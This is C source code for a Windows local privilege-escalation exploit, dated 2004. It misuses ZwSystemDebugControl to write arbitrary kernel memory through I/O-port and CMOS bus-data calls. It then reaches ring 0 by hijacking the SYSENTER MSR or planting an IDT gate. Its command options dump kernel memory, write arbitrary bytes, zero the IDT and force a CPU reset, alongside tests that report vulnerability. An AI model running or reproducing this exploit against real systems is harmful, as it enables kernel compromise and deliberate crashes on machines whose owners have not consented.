/*
* Discovered and coded Jan 25, 2004
* Copyright (C)2004 randnut@hotmail.com
*/

#include <windows.h>
#include <stdio.h>

typedef int NTSTATUS;
#define NTAPI __stdcall

const IA32_SYSENTER_CS = 0x174;
const IA32_SYSENTER_ESP = 0x175;
const IA32_SYSENTER_EIP = 0x176;

const SelCodeKernel = 0x8;
const CmosIndx = 0x0E;		// CMOS Diagnostic Status
const RdWrIoPort = 0x80;

#define FCHK(a) if (!(a)) {printf(#a " failed\n"); return 0;}
#define FCHK2(a,b) if (!(a)) {printf(#a " failed\n"); goto b;}

typedef enum _DEBUG_CONTROL_CODE {
	DebugSysReadIoSpace = 14,
	DebugSysWriteIoSpace = 15,
	DebugSysReadMsr = 16,
	DebugSysWriteMsr = 17,
	DebugSysReadBusData = 18,
	DebugSysWriteBusData = 19,
} DEBUG_CONTROL_CODE;

typedef struct _MSR_STRUCT {
	DWORD MsrNum;			// MSR number
	DWORD NotUsed;			// Never accessed by the kernel
	DWORD MsrLo;			// IN (write) or OUT (read): Low 32 bits of MSR
	DWORD MsrHi;			// IN (write) or OUT (read): High 32 bits of MSR
} MSR_STRUCT;

typedef struct _IO_STRUCT {
	DWORD IoAddr;			// IN: Aligned to NumBytes,I/O address
	DWORD Reserved1;		// Never accessed by the kernel
	PVOID pBuffer;			// IN (write) or OUT (read): Ptr to buffer
	DWORD NumBytes;			// IN: # bytes to read/write. Only use 1, 2, or 4.
	DWORD Reserved4;		// Must be 1
	DWORD Reserved5;		// Must be 0
	DWORD Reserved6;		// Must be 1
	DWORD Reserved7;		// Never accessed by the kernel
} IO_STRUCT;

// Copied from the Windows DDK
typedef enum _BUS_DATA_TYPE {
  ConfigurationSpaceUndefined = -1,
  Cmos,
  EisaConfiguration,
  Pos,
  CbusConfiguration,
  PCIConfiguration,
  VMEConfiguration,
  NuBusConfiguration,
  PCMCIAConfiguration,
  MPIConfiguration,
  MPSAConfiguration,
  PNPISAConfiguration,
  SgiInternalConfiguration,
  MaximumBusDataType
} BUS_DATA_TYPE, *PBUS_DATA_TYPE;

// See HalGetBusDataByOffset()/HalSetBusDataByOffset() for explanations of 
each field
typedef struct _BUS_STRUCT {
	ULONG  Offset;
	PVOID  Buffer;
	ULONG  Length;
	BUS_DATA_TYPE  BusDataType;
	ULONG  BusNumber;
	ULONG  SlotNumber;
} BUS_STRUCT;

typedef
NTSTATUS
(NTAPI *PZwSystemDebugControl)(
	DEBUG_CONTROL_CODE ControlCode,
    PVOID InputBuffer,
	ULONG InputBufferLength,
	PVOID OutputBuffer,
    ULONG OutputBufferLength,
	PULONG ReturnLength
	);

PZwSystemDebugControl ZwSystemDebugControl = NULL;

enum Ring0Method {
	Method1,
	Method2,
};

struct OldCpuState
{
	Ring0Method meth;
	MSR_STRUCT msr[3];
	DWORD AffinityMask;
	DWORD EFLAGS, CS, SS, OldIdtDesc[2];
};

void help()
{
	printf("Usage: name_of_program [option [option [...]]]\n");
	printf("/test1                            - test for SYSENTER vuln\n");
	printf("/test2                            - test for I/O write to mem 
vuln\n");
	printf("/test3                            - test for bus write to mem 
vuln\n");
	printf("/reset                            - reset CPU in ring 0\n");
	printf("/zeroidt                          - zero IDT (reboots PC)\n");
	printf("/wrmem <addr> <byte>              - write byte to mem\n");
	printf("/rdmsr <num>                      - read MSR\n");
	printf("/wrmsr <num> <hi> <lo>            - write MSR\n");
	printf("/rdio <port> <size>               - read I/O port\n");
	printf("/wrio <port> <size> <value>       - write I/O port\n");
	printf("/dump <addr> <size>               - dump memory from ring 0\n");
	exit(0);
}

int rdmsr(int MsrNum, MSR_STRUCT& msr)
{
	msr.MsrNum = MsrNum;
	return ZwSystemDebugControl(DebugSysReadMsr, &msr, sizeof(msr), NULL, 0, 
NULL) >= 0;
}

int wrmsr(int MsrNum, MSR_STRUCT& msr)
{
	msr.MsrNum = MsrNum;
	return ZwSystemDebugControl(DebugSysWriteMsr, &msr, sizeof(msr), NULL, 0, 
NULL) >= 0;
}

void PrintMsr(MSR_STRUCT& msr)
{
	printf("MSR %08X = %08X_%08X\n", msr.MsrNum, msr.MsrHi, msr.MsrLo);
}

int HasSysEnter()
{
	int retval = 0;

	__try
	{
		__asm
		{
			mov	eax,1
			cpuid
			shr	edx,12
			adc	retval,0
		}
	}
	__except (EXCEPTION_EXECUTE_HANDLER)
	{
	}

	return retval;
}

int SetProcessor(DWORD NewAffinityMask, DWORD* pOldAffinityMask)
{
	DWORD tmp;

	FCHK(!pOldAffinityMask || GetProcessAffinityMask(GetCurrentProcess(), 
pOldAffinityMask, &tmp));
	FCHK(SetProcessAffinityMask(GetCurrentProcess(), NewAffinityMask));

	return 1;
}

/*
* Returns < 0 on error. If ppAddr != NULL, returns 0x100 on success.
* If ppAddr == NULL, returns byte read on success.
*/
int CmosRead(int offs, BYTE** ppAddr = NULL)
{
	BYTE buf;
	BUS_STRUCT bus;

	bus.BusDataType = Cmos;
	bus.BusNumber = 0;
	bus.SlotNumber = offs;
	bus.Buffer = ppAddr ? *ppAddr : &buf;
	bus.Offset = 0;
	bus.Length = 1;

	if (ZwSystemDebugControl(DebugSysReadBusData, &bus, sizeof(bus), NULL, 0, 
NULL) < 0)
		return -1;
	else
		return ppAddr ? 0x100 : buf;
}

/*
* Returns 0 on failure, 1 on success
*/
int CmosWrite(int offs, BYTE val, BYTE** ppAddr = NULL)
{
	BUS_STRUCT bus;

	bus.BusDataType = Cmos;
	bus.BusNumber = 0;
	bus.SlotNumber = offs;
	bus.Buffer = ppAddr == NULL ? &val : *ppAddr;
	bus.Offset = 0;
	bus.Length = 1;

	return ZwSystemDebugControl(DebugSysWriteBusData, &bus, sizeof(bus), NULL, 
0, NULL) >= 0;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This 
function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to write the byte to any 
address.
* This code must execute in ring 3.
*/
int Method1_WriteMemByte(DWORD MemAddr, BYTE Value)
{
	IO_STRUCT io;

	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = &Value;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return 0;

	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return 0;

	return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel. 
This function
* uses DebugSysWriteIoSpace and DebugSysReadIoSpace to read the byte from 
any address.
* This code must execute in ring 3.
*/
int Method1_ReadMemByte(DWORD MemAddr)
{
	BYTE Value;

	IO_STRUCT io;
	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = (PVOID)(ULONG_PTR)MemAddr;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return -1;

	memset(&io, 0, sizeof(io));
	io.IoAddr = RdWrIoPort;
	io.pBuffer = &Value;
	io.NumBytes = 1;
	io.Reserved4 = 1;
	io.Reserved6 = 1;
	if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
		return -1;

	return Value;
}

int CmosTest()
{
	int OldVal = CmosRead(CmosIndx);
	if (OldVal < 0)
		return 0;

	static int HasTested = 0;
	if (HasTested == 0)
	{
		HasTested = -1;

		if (!CmosWrite(CmosIndx, 0x55) || CmosRead(CmosIndx) != 0x55 ||
			!CmosWrite(CmosIndx, 0xAA) || CmosRead(CmosIndx) != 0xAA ||
			!CmosWrite(CmosIndx, (BYTE)OldVal))
		{
			printf("There's something wrong with your CMOS\n");
			return 0;
		}

		HasTested = 1;
	}
	else if (HasTested == -1)
		return 0;

	return 1;
}

/*
* Write a byte to any location by exploiting another bug in the kernel. This 
function
* uses DebugSysReadBusData and DebugSysWriteBusData to write the byte to any 
address.
* This code must execute in ring 3.
*/
int Method2_WriteMemByte(DWORD MemAddr, BYTE Value)
{
	if (!CmosTest())
		return 0;

	int OldVal = CmosRead(CmosIndx);
	if (OldVal < 0)
		return 0;

	BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
	if (!CmosWrite(CmosIndx, Value) || CmosRead(CmosIndx, &p) < 0 ||
		!CmosWrite(CmosIndx, OldVal))
		return 0;

	return 1;
}

/*
* Read a byte from any location by exploiting another bug in the kernel. 
This function
* uses DebugSysReadBusData and DebugSysWriteBusData to read the byte from 
any address.
* This code must execute in ring 3.
*/
int Method2_ReadMemByte(DWORD MemAddr)
{
	int OldVal, RetVal;

	if (!CmosTest())
		return -1;

	BYTE* p = (BYTE*)(ULONG_PTR)MemAddr;
	if ((OldVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, 0, &p) ||
		(RetVal = CmosRead(CmosIndx)) < 0 || !CmosWrite(CmosIndx, (BYTE)OldVal))
		return -1;

	return RetVal;
}

static int MemAccessMethType = -1;
int SetMemAccessMeth(int NewMeth)
{
	int old = MemAccessMethType;

	if (NewMeth == -1 || NewMeth == 1 || NewMeth == 2)
		MemAccessMethType = NewMeth;

	return old;
}

int WriteMemByte(DWORD MemAddr, BYTE Value)
{
	switch (MemAccessMethType)
	{
	case 1:
		return Method1_WriteMemByte(MemAddr, Value);

	case 2:
		return Method2_WriteMemByte(MemAddr, Value);

	case -1:
	default:
		return Method1_WriteMemByte(MemAddr, Value) || 
Method2_WriteMemByte(MemAddr, Value);
	}
}

int ReadMemByte(DWORD MemAddr)
{
	switch (MemAccessMethType)
	{
	case 1:
		return Method1_ReadMemByte(MemAddr);

	case 2:
		return Method2_ReadMemByte(MemAddr);

	case -1:
	default:
		int RetVal;
		if ((RetVal = Method1_ReadMemByte(MemAddr)) >= 0 ||
			(RetVal = Method2_ReadMemByte(MemAddr)) >= 0)
			(void)0 /* Nothing */;
		return RetVal;
	}
}

/*
* Tries to enter ring 0 by overwriting IA32_SYSENTER_EIP and executing 
SYSENTER.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method1_EnterRing0(OldCpuState& old)
{
	old.meth = Method1;
	if (!HasSysEnter())
		return 0;

	FCHK(SetProcessor(1, &old.AffinityMask));
	FCHK2(rdmsr(IA32_SYSENTER_CS, old.msr[0]), cleanup);
	FCHK2(rdmsr(IA32_SYSENTER_ESP, old.msr[1]), cleanup);
	FCHK2(rdmsr(IA32_SYSENTER_EIP, old.msr[2]), cleanup);

	DWORD Ring0Addr;
	__asm
	{
		mov	Ring0Addr,offset ring0_addr
	}

	Sleep(100);	// A more reliable way is to block all interrupts through the 
PIC.

	MSR_STRUCT msr;
	if (old.msr[0].MsrLo == 0) // SYSENTER not enabled
	{
		// IMPORTANT:
		// I assume the OS sets up the GDT as follows:
		// base:ring0 code
		//		ring0 data
		//		ring3 code
		//		ring3 data
		// Will crash eventually if it's not setup that way
		msr.MsrLo = SelCodeKernel;
		msr.MsrHi = 0;
		FCHK2(wrmsr(IA32_SYSENTER_CS, msr), cleanup);
	}

	msr.MsrHi = 0;
	msr.MsrLo = Ring0Addr;
	FCHK2(wrmsr(IA32_SYSENTER_EIP, msr), cleanup2);	// Let's hope we won't get 
interrupted after this call

	__asm
	{
		mov		ecx,esp
		// Hmm, can't assemble SYSENTER or DB 0F,34
		jmp		short $+3
		mov		eax,9090340Fh
ring0_addr:
		mov		esp,ecx
		// Hot dog! :)
	}

	return 1;

cleanup2:
	if (old.msr[0].MsrLo == 0)
		wrmsr(IA32_SYSENTER_CS, old.msr[0]);
cleanup:
	FCHK(SetProcessor(old.AffinityMask, NULL));
	return 0;
}

/*
* Enters ring 3
*/
void Method1_LeaveRing0(OldCpuState& old)
{
	MSR_STRUCT* pmsr = &old.msr[0];
	__asm
	{
		mov		ebx,pmsr

		mov		ecx,[ebx]		// IA32_SYSENTER_CS
		mov		eax,[ebx+8]
		mov		edx,[ebx+0Ch]
		test	eax,eax
		jz		skip1
		wrmsr
skip1:

		mov		ecx,[ebx+10h]	// IA32_SYSENTER_ESP
		mov		eax,[ebx+10h+8]
		mov		edx,[ebx+10h+0Ch]
		wrmsr

		mov		ecx,[ebx+20h]	// IA32_SYSENTER_EIP
		mov		eax,[ebx+20h+8]
		mov		edx,[ebx+20h+0Ch]
		wrmsr

		mov		ecx,esp
		mov		edx,offset ring3_code
		// Hmm, can't assemble SYSEXIT or DB 0F,35
		jmp		short $+3
		mov		eax,90350FFBh
ring3_code:
	}
	if (old.msr[0].MsrLo == 0) // SYSENTER was not enabled
		wrmsr(old.msr[0].MsrNum, old.msr[0]);

	SetProcessor(old.AffinityMask, NULL);
}

/*
* Tries to enter ring 0 by telling the kernel to write to the IDT with bytes 
we control.
* Returns 1 on success. If it returns 1, EFLAGS.IF=0.
*/
int Method2_EnterRing0(OldCpuState& old)
{
	old.meth = Method2;
	FCHK(SetProcessor(1, &old.AffinityMask));

	DWORD Ring0Addr, EFLAGS, _CS, _SS;
	DWORD idt[2], idt_base, idt_limit;
	__asm
	{
		mov		Ring0Addr,offset ring0_addr
		sidt	idt+2
		movzx	eax,word ptr idt+2
		mov		idt_limit,eax
		mov		eax,idt+4
		mov		idt_base,eax
		pushfd
		pop		eax
		mov		EFLAGS,eax
		mov		word ptr _CS,cs
		mov		word ptr _SS,ss
	}
	old.EFLAGS = EFLAGS;
	old.CS = _CS;
	old.SS = _SS;

#define IntNum 0xFF

	if (IntNum*8 + 7 > idt_limit)
	{
		printf("ERROR: The interrupt number is outside the IDT. Change it and 
recompile.\n");
		goto cleanup;
	}

	BYTE* pOldIdtDesc = (BYTE*)&old.OldIdtDesc;
	for (int i = 0; i < 8; i++)
	{
		int SomeByte;
		FCHK2((SomeByte = ReadMemByte(idt_base + IntNum*8 + i)) >= 0, cleanup);
		*pOldIdtDesc++ = (BYTE)SomeByte;
	}

	DWORD IdtDesc[2];
	IdtDesc[0] = (SelCodeKernel << 16) | (Ring0Addr & 0xFFFF);
	IdtDesc[1] = (Ring0Addr & 0xFFFF0000) | 0xEE00;	// 32-bit interrupt gate, 
DPL3

	for (int i = 0; i < 8; i++)
		FCHK2(WriteMemByte(idt_base + IntNum*8 + i, *((BYTE*)&IdtDesc + i)), 
cleanup);

	__asm
	{
		xchg	esp,eax
		int		IntNum
ring0_addr:
		xchg	esp,eax
		// What do you know, it worked!
	}

	return 1;

cleanup:
	FCHK(SetProcessor(old.AffinityMask, NULL));
	return 0;
}

/*
* Enters ring 3
*/
void Method2_LeaveRing0(OldCpuState& old)
{
	DWORD idt[2];
	DWORD EFLAGS = old.EFLAGS;
	DWORD _CS = old.CS;
	DWORD _SS = old.SS;
	DWORD* pOldIdtDesc = &old.OldIdtDesc[0];
	__asm
	{
		sidt	idt+2
		mov		eax,idt+4
		mov		ecx,pOldIdtDesc
		mov		edx,[ecx]
		mov		ecx,[ecx+4]
		mov		[eax+IntNum*8],edx
		mov		[eax+IntNum*8+4],ecx

		mov		eax,esp
		push	_SS
		push	eax
		mov		eax,EFLAGS
		and		eax,not (1 shl 0Eh)
		push	eax
		push	_CS
		push	offset ring3_addr
		iretd
ring3_addr:
	}

	SetProcessor(old.AffinityMask, NULL);
}

int EnterRing0(OldCpuState& old)
{
	/*
	 * Method2 is safer than Method1
	 */
	return Method2_EnterRing0(old) || Method1_EnterRing0(old);
}

void LeaveRing0(OldCpuState& old)
{
	switch (old.meth)
	{
	case Method1:	Method1_LeaveRing0(old); break;
	case Method2:	Method2_LeaveRing0(old); break;
	default:		__asm jmp	short $
	}
}

int EnablePrivilege(HANDLE hToken, LPCSTR lpszName, int enable)
{
	TOKEN_PRIVILEGES tok;

	tok.PrivilegeCount = 1;
	tok.Privileges[0].Attributes = enable ? SE_PRIVILEGE_ENABLED : 0;

	FCHK(LookupPrivilegeValue(NULL, lpszName, &tok.Privileges[0].Luid));
	FCHK(AdjustTokenPrivileges(hToken, FALSE, &tok, sizeof(tok), NULL, NULL));

	return 1;
}

void PrintDelay(int secs)
{
	while (secs--)
	{
		printf("%d..", secs+1);
		Sleep(1000);
	}
	printf("NOW\n");
}

void PrintVulnMsg(int failed)
{
	if (!failed)
		printf("Your operating system is vulnerable to this exploit.\n");
	else
	{
		printf("If this user account has the SeDebugPrivilege privilege then 
your\n");
		printf("OS doesn't appear to be vulnerable.\n\n");
	}
}

DWORD ReadMem(DWORD MemAddr, void* buf, DWORD bufsz)
{
	if (!bufsz || !buf)
		return 0;

#if 0
/*
* Will crash XP if we read from non-present memory so don't use this code
*/
	BYTE* p = (BYTE*)buf;
	for (DWORD i = 0; i < bufsz; i++)
	{
		int SomeByte;
		if ((SomeByte = ReadMemByte(MemAddr++)) < 0)
			break;
		p[i] = (BYTE)SomeByte;
	}
	return i;
#else
	OldCpuState old;
	if (!EnterRing0(old))
		return 0;

	DWORD ret_val;
	__asm
	{
		sub		esp,8
		sidt	[esp+2]
		mov		ebx,[esp+4]
		add		esp,8
		push	dword ptr [ebx+0Eh*8]
		push	dword ptr [ebx+0Eh*8+4]

		mov		eax,offset xcpt_handler
		mov		[ebx+0Eh*8],eax
		mov		[ebx+0Eh*8+4],eax
		mov		word ptr [ebx+0Eh*8+4],8E00h
		mov		word ptr [ebx+0Eh*8+2],cs

		mov		ecx,bufsz
		mov		esi,MemAddr
		mov		edi,buf
		rep movsb
		jmp		skip_xcpt
xcpt_handler:
		add		esp,8
		popfd
		pop		eax
skip_xcpt:
		pop		dword ptr [ebx+0Eh*8+4]
		pop		dword ptr [ebx+0Eh*8]

		mov		eax,bufsz
		sub		eax,ecx
		mov		ret_val,eax
	}

	LeaveRing0(old);
	return ret_val;
#endif
}

int DumpMem(DWORD MemAddr, DWORD size)
{
	if (size == 0)
		return 1;
	if (MemAddr + size - 1 < MemAddr)
		return 0;

	DWORD OldMask;
	FCHK(SetProcessor(1, &OldMask));

	int ret = 1;
	const BytesPerLine = 16;
	while (size)
	{
		BYTE buf[BytesPerLine];
		DWORD addr = MemAddr - MemAddr % BytesPerLine;
		DWORD SizeRead = ReadMem(addr, buf, BytesPerLine);

		printf("%08X:", addr);
		for (int i = 0; i < BytesPerLine; i++)
		{
			if ((i & 3) == 0 && i != 0)
				printf("-");
			else
				printf(" ");
			if (addr < MemAddr || addr > MemAddr+size-1)
				printf("  ");
			else if ((DWORD)i >= SizeRead)
				printf("??");
			else
				printf("%02X", buf[i]);
			addr++;
		}
		printf(" ");

		addr = MemAddr - MemAddr % BytesPerLine;
		for (int i = 0; i < BytesPerLine; i++)
		{
			if (addr < MemAddr || addr > MemAddr+size-1)
				printf(" ");
			else if ((DWORD)i >= SizeRead)
				printf("?");
			else if (buf[i] >= 0x20 && buf[i] <= 0x7E)
				printf("%c", buf[i]);
			else
				printf(".");
			addr++;
		}
		printf("\n");

		size -= min(size, addr - MemAddr);
		MemAddr = addr;
	}

	SetProcessor(OldMask, NULL);
	return ret;
}

int main(int argc, char* argv[])
{
	HMODULE hNtdll;
	FCHK((hNtdll = LoadLibrary("ntdll.dll")) != NULL);
	FCHK((ZwSystemDebugControl = (PZwSystemDebugControl)GetProcAddress(hNtdll, 
"ZwSystemDebugControl")) != NULL);

	HANDLE hToken;
	FCHK(OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | 
TOKEN_QUERY, &hToken));
	FCHK(EnablePrivilege(hToken, SE_DEBUG_NAME, 1));

	for (int i = 1; i < argc; i++)
	{
		char* s = argv[i];
		if (*s != '/' && *s != '-')
			help();
		s++;

		if (!strcmp(s, "rdmsr") && i+1 < argc)
		{
			MSR_STRUCT msr;
			int num = strtoul(argv[++i], NULL, 0);
			if (rdmsr(num, msr))
				PrintMsr(msr);
			else
				printf("rdmsr(%08X) failed\n", num);
		}
		else if (!strcmp(s, "wrmsr") && i+3 < argc)
		{
			MSR_STRUCT msr;
			int num = strtoul(argv[++i], NULL, 0);
			msr.MsrHi = strtoul(argv[++i], NULL, 0);
			msr.MsrLo = strtoul(argv[++i], NULL, 0);
			if (!wrmsr(num, msr))
			{
				printf("wrmsr(%08X) failed\n", num);
				continue;
			}
			if (rdmsr(num, msr))
				PrintMsr(msr);
			else
				printf("rdmsr(%08X) failed\n", num);
		}
		else if (!strcmp(s, "rdio") && i+2 < argc)
		{
			IO_STRUCT io;
			memset(&io, 0, sizeof(io));
			DWORD Buffer;
			io.IoAddr = strtoul(argv[++i], NULL, 0);
			io.pBuffer = &Buffer;
			io.NumBytes = strtoul(argv[++i], NULL, 0);
			io.Reserved4 = 1;
			io.Reserved6 = 1;

			if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
			{
				printf("Size must be 1, 2, or 4 bytes\n");
				continue;
			}
			if (ZwSystemDebugControl(DebugSysReadIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
			{
				printf("Could not read I/O space\n");
				continue;
			}
			switch (io.NumBytes)
			{
			case 1: printf("0x%02X\n", (BYTE)Buffer); break;
			case 2: printf("0x%04X\n", (WORD)Buffer); break;
			case 4: printf("0x%08X\n", Buffer); break;
			default: printf("WTF\n"); break;
			}
		}
		else if (!strcmp(s, "wrio") && i+3 < argc)
		{
			IO_STRUCT io;
			memset(&io, 0, sizeof(io));
			DWORD Buffer;
			io.IoAddr = strtoul(argv[++i], NULL, 0);
			io.pBuffer = &Buffer;
			io.NumBytes = strtoul(argv[++i], NULL, 0);
			io.Reserved4 = 1;
			io.Reserved6 = 1;
			Buffer = strtoul(argv[++i], NULL, 0);

			if (io.NumBytes != 1 && io.NumBytes != 2 && io.NumBytes != 4)
			{
				printf("Size must be 1, 2, or 4 bytes\n");
				continue;
			}
			if (ZwSystemDebugControl(DebugSysWriteIoSpace, &io, sizeof(io), NULL, 0, 
NULL) < 0)
			{
				printf("Could not write to I/O space\n");
				continue;
			}
		}
		else if (!strcmp(s, "reset"))
		{
			OldCpuState old;
			printf("Will reset computer in...");
			PrintDelay(3);

			if (!EnterRing0(old))
			{
				printf("Could not enter ring 0\n");
				continue;
			}
			__asm
			{
				push	0
				lidt	[esp]
				pop		esp
				inc		esp
				push	esp
			}
			LeaveRing0(old);
			printf("WTF\n");
		}
		else if (!strcmp(s, "wrmem") && i+2 < argc)
		{
			DWORD MemAddr = strtoul(argv[++i], NULL, 0);
			BYTE Value = (BYTE)strtoul(argv[++i], NULL, 0);

			if (!WriteMemByte(MemAddr, Value))
			{
				printf("Could not write the byte\n");
				continue;
			}
		}
		else if (!strcmp(s, "zeroidt"))
		{
			DWORD OldMask;
			if (!SetProcessor(1, &OldMask))
			{
				printf("SetProcessor() failed\n");
				continue;
			}

			DWORD idt[2];
			int idt_size, idt_base;
			__asm
			{
				sidt	idt+2
				movzx	eax,word ptr idt+2
				mov		idt_size,eax
				mov		eax,idt+4
				mov		idt_base,eax
			}
			printf("Will start writing to IDT @ %08X in...", idt_base);
			PrintDelay(3);

			for (int j = 0; j <= idt_size; j++)
			{
				if (!WriteMemByte(idt_base + j, 0x00))
				{
					printf("Could not write the byte to address %08X\n", idt_base + j);
					break;
				}
			}
			if (j != 0)
				printf("WTF\n");

			SetProcessor(OldMask, NULL);
		}
		else if (!strcmp(s, "test1"))
		{
			if (!HasSysEnter())
			{
				printf("Sorry. SYSENTER/SYSEXIT instructions aren't supported by your 
processor.\n");
				continue;
			}

			int failed = 1;
			OldCpuState old;

			printf("Testing SYSENTER vulnerability in...");
			PrintDelay(3);

			if (Method1_EnterRing0(old))
			{
				failed = 0;
				Method1_LeaveRing0(old);
			}

			PrintVulnMsg(failed);
		}
		else if (!strcmp(s, "test2"))
		{
			int failed = 1;
			OldCpuState old;

			printf("Testing I/O write to memory vulnerability in...");
			PrintDelay(3);

			int OldWrite = SetMemAccessMeth(1);
			if (Method2_EnterRing0(old))
			{
				failed = 0;
				Method2_LeaveRing0(old);
			}
			SetMemAccessMeth(OldWrite);

			PrintVulnMsg(failed);
		}
		else if (!strcmp(s, "test3"))
		{
			int failed = 1;
			OldCpuState old;

			printf("Testing bus write to memory vulnerability in...");
			PrintDelay(3);

			int OldWrite = SetMemAccessMeth(2);
			if (Method2_EnterRing0(old))
			{
				failed = 0;
				Method2_LeaveRing0(old);
			}
			SetMemAccessMeth(OldWrite);

			PrintVulnMsg(failed);
		}
		else if (!strcmp(s, "dump") && i+2 < argc)
		{
			DWORD MemAddr = strtoul(argv[++i], NULL, 0);
			DWORD size = strtoul(argv[++i], NULL, 0);

			if (!DumpMem(MemAddr, size))
				printf("Could not dump memory\n");
		}
		else
		{
			help();
		}
	}

	return 1;
}